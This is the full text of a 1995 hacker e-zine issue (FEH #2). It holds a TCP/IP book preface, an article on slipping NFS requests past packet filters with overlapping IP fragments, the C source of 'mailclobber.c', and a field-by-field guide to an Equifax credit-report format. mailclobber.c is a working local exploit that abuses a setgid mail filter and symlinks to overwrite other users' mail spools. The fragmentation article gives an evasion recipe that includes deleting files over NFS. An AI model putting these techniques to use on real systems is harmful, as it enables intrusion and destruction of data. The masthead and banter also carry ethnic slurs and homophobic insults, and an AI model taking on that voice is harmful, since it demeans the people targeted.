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RIENDLY LITE ACKERS
Issue #2
September 24th, 1995
Editor: ReDragon
Official FEH Con Organizer: Okinawa
Official FEH Warez Supplier: Olphart
Official FEH Distribution: Dark Tangent
Official FEH Texan: Loq
Official FEH Retro Gaming Editor: Hotrod
Official FEH Cheese Supplier: NickO
Official FEH Ethics Editor: X
Official FEH Logs Supplier: Tele Monster
Official FEH Messages Editor: negro
Official FEH Stolen Handle Acronymn: TK - Tobias Knight
Official FEH Mail Bomber: Unabomber
Official FEH Skillz Supplier: Oof
Official FEH Former Vox Employee: Wozz
Official FEH 'Cusan: Cforbin
Official FEH Spic: B
Official FEH Caver: Junkman
Official FEH Sport: Football
Official FEH Alcoholic Drink: Goldschlager
Official FEH Beer: Rogue's Dead Guy Ale
Official FEH E-Mail Address: feh@pussy.org
Official FEH Operating System: FreeBSD
Official FEH microkernel OS: QNX
Official FEH language: Ada
Official FEH magazine to rip-off: B0W
Official FEH group to rip-off: l0ck
Official FEH Vehicle: 1967 Cadillac El Dorado Convertible
Official FEH of Song: Midnight Star
Greetz To Da Eleetz:
albatross, armitage, artimage, bl0ke, bluesman, b0b, clovis, crax, deker,
discodan, drunkfux, earle, etrigan, fuz, gfm, gheap, ghornet, Hod, hosaka,
juliet, kc, kewp, krosis, lgas, malice, meowmix, morph, negro, novocain,
opii, sevenup, shoo, swinder, tek, tele/phone, tewph, tobias knight, tsoul,
twi, x0x, Y.
Another One?
For a while, it seemed that the first issue might also be the last; there
was a wide range of opinion from the first ranging from "it sucked" to "this
was the best you could come up with?". For a while we were thinking of putting
out a totally serious issue, but that just didn't seem like too much fun; so
then we pretty much let FEH die. But, due to a couple of events that happened
recently, there was a renewed interest in putting out a second FEH. And so,
here it is. This is not intended to make you laugh and think and teach you
anything; it is here to entertain you, and if it does any of the three, it has
succeeded. Keep an open mind, and a smile on your face. And so, without
further adieu, I present to you, FEH #2.
-ReDragon
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Table of Contents:
General Stuff
Intro
Table of Contents
/var/spool/mail/feh
Technical Articles:
Fast TCP/IP Introduction by ReDragon
IP Fragmenting by Anon
Mail Clobber by gheap
Acrofile Plus by Morph
Hacker Light Show by Tele Monster
Entertaining Articles:
Hackers Review by Juliet
Eleetness of Garage Sales by x0x
Installing Sendmail by foo
Pumpcon IV Info by Okinawa
Pizza Hut Hacking by HoD
Weird Al Logs by john0
Why Someone is lame by SnoCrash
Hacking a Light Switch by Dhate
Eleetness of AOL hackers by Minuteman
How to Be Eleet by b0b
How to Destroy Pac-Man by Hotrod
Urination, A Poem by y
Serious Commentary:
Trust Among Hackers by ReDragon
GUI mentality by Krosis & ReDragon
The Evil GUI by Krosis
The Unabomber Manifesto by FC
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An Extremely Fast Introduction to TCP/IP
by ReDragon
Originally, I was planning on providing a big article explaining the
inner workings of the TCP/IP protocols. To that end, I thought about
where all of my knowledge concerning this largely arises from. Given
that, if I was to explain everything I KNOW about TCP/IP, it would still
largely be a subset of the original reference from which I learned about it,
and thus it would be a waste of time for me to provide you a brief summary
on the topic when you, a hacker, are interested in the long and exciting
details. It is for that reason that instead of providing you with an
incomplete treatment of the topic, I will instead point you to the resource
from which I MOST HIGHLY recommend you purchase or borrow from your local
college library, and from which my TCP/IP knowledge originated. You should
be able to find it in a major book store, but any book store will order it
for you if you ask. The preface to the book follows the vital info.
TCP/IP Illustrated Volume 1: The Protocols
by W. Richard Stevens
ISBN: 0-201-63346-9
Copyright (c) 1994 by Addison-Wesley Publishing Company,
All rights reserved.
TCP/IP Illustrated Preface
___________________________________________________________
Introduction
This book describes the TCP/IP protocol suite, but
from a different perspective than other texts on
TCP/IP. Instead of just describing the protocols and
what they do, we'll use a popular diagnostic tool to
watch the protocols in action. Seeing how the proto-
cols operate in varying circumstances provides a
greater understanding of how they work and why certain
design decisions were made. It also provides a look
into the implementation of the protocols, without hav-
ing to wade through thousands of lines of source code.
When networking protocols were being developed in
the 1960s through the 1980s, expensive, dedicated
hardware was required to see the packets going "across
the wire." Extreme familiarity with the protocols was
also required to comprehend the packets displayed by
the hardware. Functionality of the hardware analyzers
was limited to that built in by the hardware design-
ers.
Today this has changed dramatically with the ability
of the ubiquitous workstation to monitor a local area
network [Mogul 1990]. Just attach a workstation to
your network, run some publicly available software
(described in Appendix A), and watch what goes by on
the wire. While many people consider this a tool to
be used for diagnosing network problems, it is also a
powerful tool for understanding how the network proto-
cols operate, which is the goal of this book.
This book is intended for anyone wishing to under-
stand how the TCP/IP protocols operate: programmers
writing network applications, system administrators
responsible for maintaining computer systems and net-
works utilizing TCP/IP, and users who deal with TCP/IP
applications on a daily basis.
Organization of the Book
The following figure shows the various protocols and
applications that are covered. The italic number by
each box indicates the chapter in which that protocol
or application is described.
(Numerous fine points are missing from this figure
that will be discussed in the appropriate chapter.
For example, both the DNS and RPC use TCP, which we
don't show.)
We take a bottom-up approach to the TCP/IP protocol
suite. After providing a basic introduction to TCP/IP
in Chapter 1, we will start at the link layer in Chap-
ter 2 and work our way up the protocol stack. This
provides the required background for later chapters
for readers who aren't familiar with TCP/IP or net-
working in general.
This book also uses a functional approach instead of
following a strict bottom-to-top order. For example,
Chapter 3 describes the IP layer and the IP header.
But there are numerous fields in the IP header that
are best described in the context of an application
that uses or is affected by a particular field. Frag-
mentation, for example, is best understood in terms of
UDP (Chapter 11), the protocol often affected by it.
The time-to-live field is fully described when we look
at the Traceroute program in Chapter 8, because this
field is the basis for the operation of the program.
Similarly, many features of ICMP are described in the
later chapters, in terms of how a particular ICMP mes-
sage is used by a protocol or an application.
We also don't want to save all the good stuff until
the end, so we describe TCP/IP applications as soon as
we have the foundation to understand them. Ping and
Traceroute are described after IP and ICMP have been
discussed. The applications built on UDP (multicast-
ing, the DNS, TFTP, and BOOTP) are described after UDP
has been examined. The TCP applications, however,
along with network management, must be saved until the
end, after we've thoroughly described TCP. This text
focuses on how these applications use the TCP/IP pro-
tocols. We do not provide all the details on running
these applications.
Readers
This book is self-contained and assumes no specific
knowledge of networking or TCP/IP. Numerous refer-
ences are provided for readers interested in addi-
tional details on specific topics.
This book can be used in many ways. It can be used
as a self-study reference and covered from start to
finish by someone interested in all the details on the
TCP/IP protocol suite. Readers with some TCP/IP back-
ground might want to skip ahead and start with Chap-
ter 7, and then focus on the specific chapters in
which they're interested. Exercises are provided at
the end of the chapters, and most solutions are in
Appendix D. This is to maximize the usefulness of the
text as a self-study reference.
When used as part of a one- or two-semester course
in computer networking, the focus should be on IP
(Chapters 3 and 9), UDP (Chapter 11), and TCP (Chap-
ters 17-24), along with some of the application chap-
ters.
Many forward and backward references are provided
throughout the text, along with a thorough index, to
allow individual chapters to be studied by themselves.
A list of all the acronyms used throughout the text,
along with the compound term for the acronym, appears
on the inside back covers.
If you have access to a network you are encouraged
to obtain the software used in this book (Appendix F)
and experiment on your own. Hands-on experimentation
with the protocols will provide the greatest knowledge
(and make it more fun).
Systems Used for Testing
Every example in the book was run on an actual network
and the resulting output saved in a file for inclusion
in the text. Figure 1.11 (p. 18) shows a diagram of
the different hosts, routers, and networks that are
used. (This figure is also duplicated on the inside
front cover for easy reference while reading the
book.) This collection of networks is simple enough
that the topology doesn't confuse the examples, and
with four systems acting as routers, we can see the
error messages generated by routers.
Most of the systems have a name that indicates the
type of software being used: bsdi, svr4, sun, solaris,
aix, slip, and so on. In this way we can identify the
type of software that we're dealing with by looking at
the system name in the printed output.
A wide range of different operating systems and
TCP/IP implementations are used:
+ BSD/386 Version 1.0 from Berkeley Software Design,
Inc., on the hosts named bsdi and slip. This sys-
tem is derived from the BSD Networking Software,
Release 2.0. (We show the lineage of the various
BSD releases in Figure 1.10 on p. 17.)
+ Unix System V/386 Release 4.0 Version 2.0 from
U.H. Corporation, on the host named svr4. This is
vanilla SVR4 and contains the standard implementa-
tion of TCP/IP from Lachman Associates used with
most versions of SVR4.
+ SunOS 4.1.3 from Sun Microsystems, on the host
named sun. The SunOS 4.1.x systems are probably
the most widely used TCP/IP implementations. The
TCP/IP code is derived from 4.2BSD and 4.3BSD.
+ Solaris 2.2 from Sun Microsystems, on the host
named solaris. The Solaris 2.x systems have a
different implementation of TCP/IP from the ear-
lier SunOS 4.1.x systems, and from SVR4. (This
operating system is really SunOS 5.2, but is com-
monly called Solaris 2.2.)
+ AIX 3.2.2 from IBM on the host named aix. The
TCP/IP implementation is based on the 4.3BSD Reno
release.
+ 4.4BSD from the Computer Systems Research Group at
the University of California at Berkeley, on the
host vangogh.cs.berkeley.edu. This system has the
latest release of TCP/IP from Berkeley. (This
system isn't shown in the figure on the inside
front cover, but is reachable across the Inter-
net.)
Although these are all Unix systems, TCP/IP is operat-
ing system independent, and is available on almost
every popular non-Unix system. Most of this text also
applies to these non-Unix implementations, although
some programs (such as Traceroute) may not be provided
on all systems.
This book is the result of my being asked lots of
questions on TCP/IP for which I could find no quick,
immediate answer. It was then that I realized that
the easiest way to obtain the answers was to run small
tests, forcing certain conditions to occur, and just
watch what happens. I thank Pete Haverlock for asking
the probing questions and Van Jacobson for providing
so much of the publicly available software that is
used in this book to answer the questions.
Tucson, Arizona W. Richard Stevens
October 1993 rstevens@noao.edu
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IP Fragmentation and the Security Risks therein
By someone who doesn't want to lose his nice job
Recently, there was some furor on the firewalls mailing list regarding
possible security holes because of IP fragmentation. Of course, many people
had asked about the possibility of such holes in the past, but in true
Internet fashion, were met with replies of "No dummy, it works how it is
supposed to." These are the same security experts that would have told you
8 years ago that passwords were not a necessity. I'll get my jab in by
saying that I have thought this a problem since I first learned what IP was.
CERT came out with an advisory and Cisco provided upgrades. Of course, in
true CERT fashion, they let the cat out of the bag before letting other
vendors get their versions patched. (Note that this is sarcasm and in fact,
I would be surprised if CERT releases the SM 8.6.12 holes before next
Christmas). The result of all this was much confusion among the firewall
community, most of whom are still wondering how to "pRoTeCKT MeYE CaR FrUM
Nf0-HiGHWeigH BanDiTZ".
To understand this, the reader should know a little bit about IP. In short,
IP is a way of sending information between computers on the Internet
primarily. It splits data into packets, each of which has a header which
tells the intermediate routers where to send it. Firewalls depend on this
fact by allowing or blocking packets based on different fields in the header.
Here's a diagram of an IP packet:
0_______3_______7_______11_______15_______19_______23_______27_______31
|version| length| Type Of Service | Total length (with data) |
|---------------------------------|-----------------------------------|
| packet ID |flags| Fragment Offset |
|---------------------------------|-----------------------------------|
| TTL | Protocol | Checksum of Header |
|---------------------------------|-----------------------------------|
| Source IP address |
|---------------------------------------------------------------------|
| Destination IP address |
|_____________________________________________________________________|
Most of these headers are of no consequence to routers. They just look at
the destination IP address and apply it to their routing table and forward
the packet to the next router.
Filtering routers are different. They look at more fields in the header and
allow or deny packets based on a set of rules. For instance, a site that
wished to keep anyone from accessing its NFS server (smart idea!) would set
their router as such:
Deny packets from to on UDP port 2049
Programs use "ports" to distinguish what service should receive data. Port
2049 is for the Network File Server protocol. It uses UDP on top of IP.
Other connections can be made using TCP on top of IP. Whichever the case,
the router looks at a packet and if it has 2049 as the destination port,
drops it. If not, it forwards the packet to its destination.
Interfaces (Ethernet, SLIP, etc) can only transmit packets of a certain size.
For ethernet, it's 1500 bytes. This is called the MTU (Maximum Transmit
Unit). Packets larger than this are fragmented. This means that they are
split into multiple, smaller size packets. The sending system breaks the
data into smaller packets and then sends them to the destination host, which
puts them back together in the order specified.
The packets are sent like this:
_________________________ ____________________
| IP hdr | UDP hdr | data | <-- | IP hdr | more data |
------------------------- --------------------
The destination host receives the packets, and noting that the fragmentation
offset (see IP header above) is set, reassembles the packets. It uses the
offset field in the IP header to put the packets together in the original
order.
For example, if you were sending a 1600 byte packet over an interface with
an MTU of 1500, the following packets would be sent
Packet 1: 20 byte IP header, 8 byte UDP header, 1472 bytes of data (frag set)
Packet 2: 20 byte IP header, 128 bytes of data, frag offset of 1472
This causes the data in packet 2 to be appended to packet 1 at the destination
host.
Now comes the interesting part. Since reassembly only takes place at the
destination host, how can we skirt a filtering router? The routers do know
reassembly of fragmented packets, so let's think of a sequence of packets to
take advantage of this.
For our target network, let's say we have an FTP server behind the router.
The router filters out all packets except those to FTP command (21) and FTP
data (20). It is running NFS though. That makes it easy. What we'll do is
send a packet to the ftp data port, but redirect it to NFS.
Packet 1: Src- US Dst-target TCP port 20 (frags)
Packet 2: Src- US Dst-target -frags-
This is the trick: specify a fragmentation offset of 1 in the second packet.
Suddenly, the data in packet 2 is being written over the TCP header of packet
1. So, what should the data of packet 2 be? How about a UDP header with a
port of 2049? The data can be any valid NFS request, including unlink().
Note that you can only change the TCP or UDP header, not the IP header, since
fragmentation is a function of IP.
If this isn't clear enough, here's a step by step breakdown.
1. We send a set of packets to target that have the fragmentation field set.
2. The router only sees the TCP header in the first packet and passes it
since it's to a valid port (20)
3. The target host reassembles the packets, but since we specified a value
for the frag offset less than the end of the first packet, that packet is
overwritten with our new header.
4. IP delivers the valid UDP packet on up the stacks
5. NFS gets the UDP packet and does whatever the operation.
The best way to solve this problem is to have the reassembly algorithm only
allow offsets greater than or equal to the end of the previous packet. I am
pretty sure the interim measure provided by Cisco just reassembles fragments
at the router and checks the ports. This is bad in that the RFC's say that
reassembly should only be done at the destination host. Hopefully other
router manufacturers will develop patches soon.
<---------------------------------------------------------------------------->
mailclobber.c by gheap
Mailclobber takes advantage of filter(1L), which is setgid mail. It
does no checking to see what kind of file it is opening up when it
fopen()'s a temp file. This allows a crafty user to overwrite other users
mail spool files, due to users having their spool files writable by the
mail group.
There is also a problem with the logging mechanism not caring where it
writes to. This allows you to create a file that you can write to in
/var/spool/mail. Please note that this problem has only been noticed on
CERTAIN Linux systems where there are group write permissions on
/var/spool/mail.
gheap Written 08/25/95
Released 09/01/95 2621 "One Drink please!"
#include
#include
#define FILTERRULE "if (to contains \"IHaQ4SeX@eyespy.nsa.gov\") then save \"wewin\"\n"
#define MAILHEADER1 "From IHaQ4SeX@eyespy.nsa.gov Wed Aug 25 66:66:66 1965\n"
#define MAILHEADER2 "Return-Path: IHaQ4SeX\n"
#define MAILHEADER3 "Recieved: \(from IHaQ4SeX@eyespy.nsa.gov) by d0xmaster.BoW.net \(8.6.13/8.6.12) id X0D31337 for asshole; Wed, 25 Aug 1965 66:66:66 -0400\n"
#define MAILHEADER4 "Date: Wed, 25 Aug 1965 66:66:66 -0400\n"
#define MAILHEADER5 "From: IHaQ4SeX@eyespy.nsa.gov\n"
#define MAILHEADER6 "Message-Id: <199508250666.X0D31337@eyespy.nsa.gov>\n"
#define FILTERFIND "To: IHaQ4SeX@eyespy.nsa.gov\n"
#define MAILHEADER7 "Subject: Bye Bye spool file chump.\n\n"
#define EXECSTRING "cat /tmp/header | filter -f filter.r00l"
void
show_usage(char *progname)
{
fprintf(stderr,"%s /file/to/clobber /file/to/clobber/with\n",progname);
exit(0);
}
void
main(int argc, char *argv[])
{
int x,t,c;
char filter_temp_file[75];
FILE *fp,*fp2;
if ((argc != 3))
{
show_usage(argv[0]);
}
if ((access(argv[1],F_OK))!=0)
{
fprintf(stderr,"%s: You idiot, %s doesn't exist.\n I can't clobber what isn't there.\n",argv[0],argv[1]);
fprintf(stderr,"SPECIAL NOTE: To create a file owned by you in /var/spool/mail,\n simply type the following command:\n \"cat /any/file/you/can/read|filter -vo /var/spool/mail/filterisdumb\"\n");
exit(0);
}
if ((access(argv[2],F_OK))!=0)
{
fprintf(stderr,"%s: You idiot, %s doesn't exist.\n What do you expect me to do, speak for you?\nI oughta clobber you\n",argv[0],argv[2]);
exit(0);
}
x=getpid();
if ((fp=(fopen("/tmp/filter.r00l","wt")))==NULL)
{
fprintf(stderr,"%s: cant write to /tmp/filter.r00l\n",argv[0]);
exit(0);
}
fprintf(fp,FILTERRULE);
fclose(fp);
if ((fp=(fopen("/tmp/header","wt")))==NULL)
{
fprintf(stderr,"%s: cant write to /tmp/header\n",argv[0]);
exit(0);
}
fprintf(fp,MAILHEADER1);
fprintf(fp,MAILHEADER2);
fprintf(fp,MAILHEADER3);
fprintf(fp,MAILHEADER4);
fprintf(fp,MAILHEADER5);
fprintf(fp,MAILHEADER6);
fprintf(fp,FILTERFIND);
fprintf(fp,MAILHEADER7);
fclose(fp);
if ((fp=(fopen(argv[2],"rt")))==NULL)
{
fprintf(stderr,"%s: cant read %s, what gives?",argv[0],argv[2]);
exit(0);
}
if ((fp2=(fopen("/tmp/header","at")))==NULL)
{
fprintf(stderr,"%s: cant write to /tmp/header\n",argv[0]);
exit(0);
}
while ((t=getc(fp))!=EOF)
{
fputc(t,fp2);
}
fprintf(fp2,"\r\n");
fclose(fp);
fclose(fp2);
sprintf(filter_temp_file,"/tmp/filter.%d",x+3);
if (symlink(argv[1],filter_temp_file)!=0)
fprintf(stderr,"%s: Couldnt make the link, man...\n",argv[0]);
system(EXECSTRING);
unlink("/tmp/header");
unlink(filter_temp_file);
unlink("wewin");
unlink("filter.r00l");
fprintf(stdout,"This program did not clean up %s, delete it yourself, wanker.\n",argv[2]);
}
<---------------------------------------------------------------------------->
|| || || ||
|| || fUNKY sTREET rEMIX v1.5 \\\\\\\\// tHA dIRTY vERSION wH00T!%@! || ||
==||=||==========================| NoCo |==============================||=||==
|| || Morph of CAFBL Presents 0 0 Acrofile Plus From Equifax || ||
==||=||===========================\ /===============================||=||==
|| || Pleeze courie this ware - (O O) - Pleeze courie me goddamnit. || ||
|| || ~~~~\ || ||
|| | (C) Morpheus and Equifax All Rights Reserved? wh00t! | ||
|| ||
| Moo. Moo. Moo. (Moo.) |
Presenting Another Hands_Phree(r) Text File!@$#
Registered FEH Version! Way K0ol!
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
it's so cool i think i'll just put a 0 in there so it's k0ol.
wh00t#@! Morph commin back at ya wiff 0-day kardin' k0d3z#!@ wh00t#@! Dis
mo'fo krad text bout how to d00dle a decent ansi wiff thedraw registerd 6
wuz brought tew you by morph (d4t's m3#@$!) and FEH wh00t$!@
==============================================================================
Wh0rd H3r3 4r3 D4h M3g3l33t Gr33tz n StuFf L1k3 D4t h0m13z$@#! wh00t#@$!^#
==============================================================================
Dark Phiber - Thanks phor starting CAFBL cause like we need MORE skary
rollerbladers.
Kaos - wh00t noc0.
Arkane - Ur new handle sucks more den the corn in kaos's mom's shit.
Amity - You are far beyond leet.
Optic - Dood eye need to know where you buy Ur Crack because eye
will shop there from now on.
Spiff - G0OD LUCK AT COLLGe.
Mogel - Ur textphiles suck or whatever%&#*%#!^!@
Crank - don't forget it girlie.
CAFBL Chickz - Crisco Twister at Spookie's house Tonite$@^#!
Emmanuel - Elastica rewlz$#! SeE U At ColLege.
Various #zines People - Fuq^$#!@$@
Various dto writers - k0d3$@! --> 1-800-925-9999 ##529!$@^%
Buy some PHREE_MUMIA(C) T-Shirts today!
==============================================================================
===================Stupid Muthafuckin Quotes And Shit Like Dat================
==============================================================================
" dood don't hack checkpoint.wood.com it's just a bunch of firewalls. "
- Eagle_1 August 1995
gweeds, no u have yet to show anything but an ability to talk bullshit
it's in hexadecimal j00hed.
d00d man u r still nuphn but a leadpaint guzzlin retard d00dle boy.
gWeeDz kant even read phrack
u dont gnow whut it feelz lyke to getcher head smooshed in by a
krikkit bat u43a
c0rp, but u know what it feels like to have a dick up ur ass and
in ur m0uth..
FUQ. if only i'd da cash ta move up ta Sn0w-J00 land n let da arctic
lameness take effect.
- l0ck vs. u4ea August 1995
" Hi mother fucker, how'd you like the demo? lamer!!!! "
- GRYM issue 1
" Should I have included plans to build a bomb out of a taco? "
- HoE issue 87
" I'd also Like to add that I'm Dumb. "
- Erik B. August 1995
"...so i'm living at this payphone at least for now."
- Amity August 95
==============================================================================
==================End Of Anything Vaguely Interesting=========================
==============================================================================
==Turn Tha Lights Down and Kick Ur Little Brother Out! Here Comes the Codes!==
==============================================================================
======================
Acrofile Plus Overview
======================
Like d00d it's Wh4t d3y s3nd y3w Wh3n y3w PuLl a Kr3d1t R3p0rt FrUm
EqU1f4x 0r Cb1 0r
Wh4t3v3r#@!
y0r M4m4$#@!^%@$#(*&@!
FuQ Y0u L4m3r G33k4z01d#^$!*&%$#@!
d00D 3y3 W1ll Br3aK Ur F1nG3rZ Y0U P0tTy R4nG3r*%^#^#!@%&!$
WhY Y0u. . .
P0tTy R4nG3r P0TtY R4NG3r P0tT-T34 R4NnNg3r&!%&#!$
GrRRRrrRRRRrrr. . .
0k4y 0K4y c4lM d0wN.
==============================
Acrofile Plus Fax Explained
==============================
Basically what an acrofile plus is a credit report. Just like you could
get from anywhere else. This format is used with equifax and cbi, which is
an affiliate of equifax, and so on.
Getting an acrofile is a whole different story, and is not for you mere
mortals to know. bahhahaha. wh00t@#!^%!$@@#(*^!@
Basically the below document is a copy of what is distributed to equifax
employees and employees of affiliated agencys to help them better understand
the acrofile format. If you personally want a copy of this document sent to
your house (Y34h b0Y!#@) please fell free to write to:
Equifax Credit Information Services
5505 Peachtree Dunwoody RD
STE 600
Atlanta GA 30302
Or you can even call 1-800-685-1111 and request a copy sent to you asap and
remember to tell them that you deserve access to all general information
as a citizen of the United States and as a Human Being.
With that in mind, let's move on to figure 2. (fig 2.)
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Figure Two (fig 2.) A Look At An Acrofile Plus Report
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* 001 Equifax Credit Information Services - P O BOX 740241
5505 Peachtree Dunwoody Rd STE 600 Atlanta GA 30374-0241 404/612-2565
* CONSUMER,JOHN,Q,JR,JANE SINCE 03/10/73 FAD 04/22/93 FN-232
9412,PEACHTREE,ST,ATLANTA,GA,30302,TAPE RPTD 07/87
410,ORANGE GROVE,DR,SAN JOSE,CA,95119,CRT PRTD 06/85
46,KENNEDY,DR,DETROIT,MI,DAT RPDT 01/80
****ALSO KNOWN AS CONSUMER, ROBERT****
BDS-03/03/49,SSS-900-00-0000
01 ES-ENGINEER,LOCKHEED,ATLANTA,GA,EMP 06/87,VER 03/92
02 EF-ENGINEER,CENTRAL POWER,SAN JOSE,CA,,,,LEFT 05/87
03 E2-ENGINEER,GENERAL MOTORS,DETROIT,MI,,,,LEFT 05/85
*SU4/73-04/93,PR/OI-YES,COLL-YES,FB-NO,ACCTS:10,HC$450-87595, 6-ONES,1-TWO
1-THREE, 1-FIVE, 1-OTHER, HIST DEL- 1-TWO, 2-THREES, 1-FOUR.
INQUIRY ALERT - SUBJECT SHOWS 4 INQUIRIES SINCE 01/93
******* PUBLIC RECORDS OR OTHER INFORMATION ********
04 07/87 BKRPT 111VF116, 453657,LIAB$25600,ASSET$10500, EXEMPT$100,
INDIVID, PERSONAL,VOL CH-7
05 05/89 ST JD,111VC51, $500,DEF-SUBJECT,88776,VISA,VER 06/89 SATISFIED,
06/89
****************************************************
****** COLLECTION ITEMS ******
LIST RPTD AMT/BAL DLA/ECOA AGENCY/CLIENT STATUS/SERIAL
04/92 11/92 $532 11/92 111YC363 ACB COL PAYMENT
$300 I DR JONES 202012
******************************
FIRM / IDENT CODE CS RPTD LIMIT HICR BAL $ DLA MR (30-60-90+)M/D
ECOA / ACCT NUMBER OPND P/DUE TERM 24 MONTH HISTORY
-----------------------------------------------------------------------
ATL FIN VS*111FS26 R5 04/93 3000 --- 2632 12/92 61 (01-01-01)
I/ 4453 03/88 700 140 432*******/******
ACCOUNT CLOSED BY CREDIT GRANTOR
PROV BK MD*111ON192 R1 04/93 500 --- 440 04/93 34
J/86934 02/84 --- 25
WATCH IL *11BB771 R1 04/93 5000 --- 4500
I/432704567 07/88 --- 100
LORD & TAY*111DC151 R3 03/93 --- 478 356 01/93 42 (04-02-00)
J/175 09/89 50 25 2***232*****/******
RICH'S *111DC24 R1 02/93 615 --- 0 01/93
10/73 25 ---
REVOLVING TOTALS 9500 1093 8238
750 300
----------------------------------------------------------------------------
AMEXTRVLSV*111ON259 01 04/93 --- 450 123 04/93 27
J/ 01/91 --- 123
OPEN TOTALS --- 450 123
--- 123
----------------------------------------------------------------------------
HFC *11FP439 I1 03/92 --- 4200 123 04/93 27
C/12566843 01/91 --- 18M
PAINE/WEBB*111FM1117 I2 02/93 --- 8753 37543 12/92 67 (01-00-00)
I/7785632 07/87 750
HOMO LOAN
INSTALLMENT TOTALS ---- 9175 38278
750 750
----------------------------------------------------------------------------
GRAND TOTALS 9500 93358 46658
1500 1173
----------------------------------------------------------------------------
WACH IL 111BB771 08/92 --- --- --- 08/89
4567 07/88
LOST OR STOLEN WAREZ
*INQS-BURDINES 111DC304 04/22/93 HECHT CO 111DC2872 03/15/93
FREIDMAN'S 111JA105 02/12/93 BARNETTBNK 111FM6875 01/31/93
BEN COLL 111FF947 12/14/92 FK 111YC00058 12/14/92
&
END OF REPORT EQUIFAX AND AFFILIATES - 04/22/93 SAFESCANNED
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Figure Three (fig 4.) How to Courie the Warez or What does it all Mean?!@#?
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* 001 Equifax Credit Information Services - P O BOX 740241
5505 Peachtree Dunwoody Rd STE 600 Atlanta GA 30374-0241 404/612-2565
- Consumer Referral Message: This is IN FACT the address and phone number of
the reporting bureau. It is provided to assist you and the consumer in the
event of adverse action.
* CONSUMER,JOHN,Q,JR,JANE SINCE 03/10/73 FAD 04/22/93 FN-232
9412,PEACHTREE,ST,ATLANTA,GA,30302,TAPE RPTD 07/87
410,ORANGE GROVE,DR,SAN JOSE,CA,95119,CRT PRTD 06/85
46,KENNEDY,DR,DETROIT,MI,DAT RPDT 01/80
****ALSO KNOWN AS CONSUMER, ROBERT****
BDS-03/03/49,SSS-900-00-0000
- Identification: Subject and Spouse name, current address, origin and date
added to the file, former addresses, also know as, sex, marital status,
age, number of dependents, dob, ss subject
SINCE 03/10/73 FAD 04/22/93 FN-232
- File Activity: since = date last file was established, fad = last activity
on file, fn = file number (for equifax internal use)
01 ES-ENGINEER,LOCKHEED,ATLANTA,GA,EMP 06/87,VER 03/92
02 EF-ENGINEER,CENTRAL POWER,SAN JOSE,CA,,,,LEFT 05/87
03 E2-ENGINEER,GENERAL MOTORS,DETROIT,MI,,,,LEFT 05/85
- Employment: ES-(employment subject) position, firm, location, date hired,
date verified, monthly salary EF-(employment former) position, firm, loc,
date left E2-(employment former second)
*SU4/73-04/93,PR/OI-YES,COLL-YES,FB-NO,ACCTS:10,HC$450-87595, 6-ONES,1-TWO
1-THREE, 1-FIVE, 1-OTHER, HIST DEL- 1-TWO, 2-THREES, 1-FOUR.
- Summary of File Items: 04/73 = oldest opening date of trade
04/93 = newest reporting date of trade
PR/OI = does file have public records (yes)
COLL = does file have collection items (yes)
FB = does file contain info from credit rep
companies not affiliated with equifax (no)
ACCTS = how many tradelines
HC = high credit (range $460-87,595)
6-ONES = five trades in file CS 1
1-TWO = one trade in file CS 2
1-THREE = one trade in file CS 3
1-FIVE = one trade in file CS 5
1-OTHER = one trade with no CS
HIST DEL = historical deliquency which shows
the number of tradelines with the highest
deliquency ratings in either max/del or 24 mos
history.
INQUIRY ALERT - SUBJECT SHOWS 4 INQUIRIES SINCE 01/93
- Inquiry Alert: alert appears if subject shows three or more inquiries in
the past 90 days.
******* PUBLIC RECORDS OR OTHER INFORMATION ********
04 07/87 BKRPT 111VF116, 453657,LIAB$25600,ASSET$10500, EXEMPT$100,
INDIVID, PERSONAL,VOL CH-7
05 05/89 ST JD,111VC51, $500,DEF-SUBJECT,88776,VISA,VER 06/89 SATISFIED,
06/89
****************************************************
- Public Records Or Other Information: BKRPT (Bankruptcy) date filed, court
number, case number, liabilities, assets, exempt amount, filer, type,
intent STJD (Satisfied Judgement) date filed, court number, amount,
defendant, case number, plantiff, date verified, status, date satisfied
****** COLLECTION ITEMS ******
LIST RPTD AMT/BAL DLA/ECOA AGENCY/CLIENT STATUS/SERIAL
04/92 11/92 $532 11/92 111YC363 ACB COL PAYMENT
$300 I DR JONES 202012
- Collection Items: LIST - date assigned to collection agency
RPTD - date reported
AMT - total amount of collection
BAL - balance as of date recorded
ECOA - equal credit opprotunity act designator
DLA - date of last activity
AGENCY - collection agency member number
CLIENT - customer the agency represents
STATUS - last activity reported
SERIAL - account serial number
FIRM / IDENT CODE CS RPTD LIMIT HICR BAL $ DLA MR (30-60-90+)M/D
- Trade:
First Line:
Firm / Ident Code-Name and number of reporting company
*-trade information for automated tape suppliers
Type Of Account R = revolving acct O = open acct I = installment acct
CS-Current Status Of Account
0 - Too New to Rate; Approval But Not Used
1 - As Agreed; Not More Than 1 Payment Past Due
2 - Pays 31-60 Days; Not More Than 2 Payments Past Due
3 - Pays 61-90 Days; Not More Than 3 Payments Past Due
4 - Pays 91-120 Days; Not More Than 4 Payments Past Due
5 - Pays Over 120 Days; 5 or more Payments Past Due
7 - Making Regular Payments Under Paid Under Wage
Earner or Similar Arrangement
8 - Repossessed Shit
9 - Charged Off to Yo Mama's Bad Credit
RPTD - date account was reported
LIMIT - credit limit
HICR - high credit
BAL$ - balance owned as of reporting date
DLA - date of last activity on account
MR - months reviewed
MAX/DEL - most recent highest delinquency beyond the 24th month
ECOA / ACCT NUMBER OPND P/DUE TERM 24 MONTH HISTORY
- Second Line:
ECOA K0D3Z
U - Undesignated
I - Individual
A - Authorized User
J - Joint
C - Co-Maker
B - On Behalf Of
M - Maker
T - Association with Account Terminated
S - Shared Warez
Account Number:
OPND - Date Account was Opened With Reporting
Company
P/D - Past Due Amount
TERM - Monthly Payment Amount
24 Month History: Rate history 24 months prior to current status, slash
(/) seperates two 12 mos periods. (r34d Fr0m L3ft t0
r1t3 0nl33!) * = no delinquency this month
- Note: Accounts are grouped by revolving, open, and installment. Whithin
those groups, trades are sorted by the most recent date reported. Totals
are calculated for limit, High Credit, balance, past due, and terms within
each group.
- Grand Totals: Grand Total for Limit, High Credit, Balance, and Past Due
WACH IL 111BB771 08/92 --- --- --- 08/89
4567 07/88
- Other: accounts not reflecting rating type (revolving, open, installments)
*INQS-BURDINES 111DC304 04/22/93 HECHT CO 111DC2872 03/15/93
FREIDMAN'S 111JA105 02/12/93 BARNETTBNK 111FM6875 01/31/93
BEN COLL 111FF947 12/14/92 FK 111YC00058 12/14/92
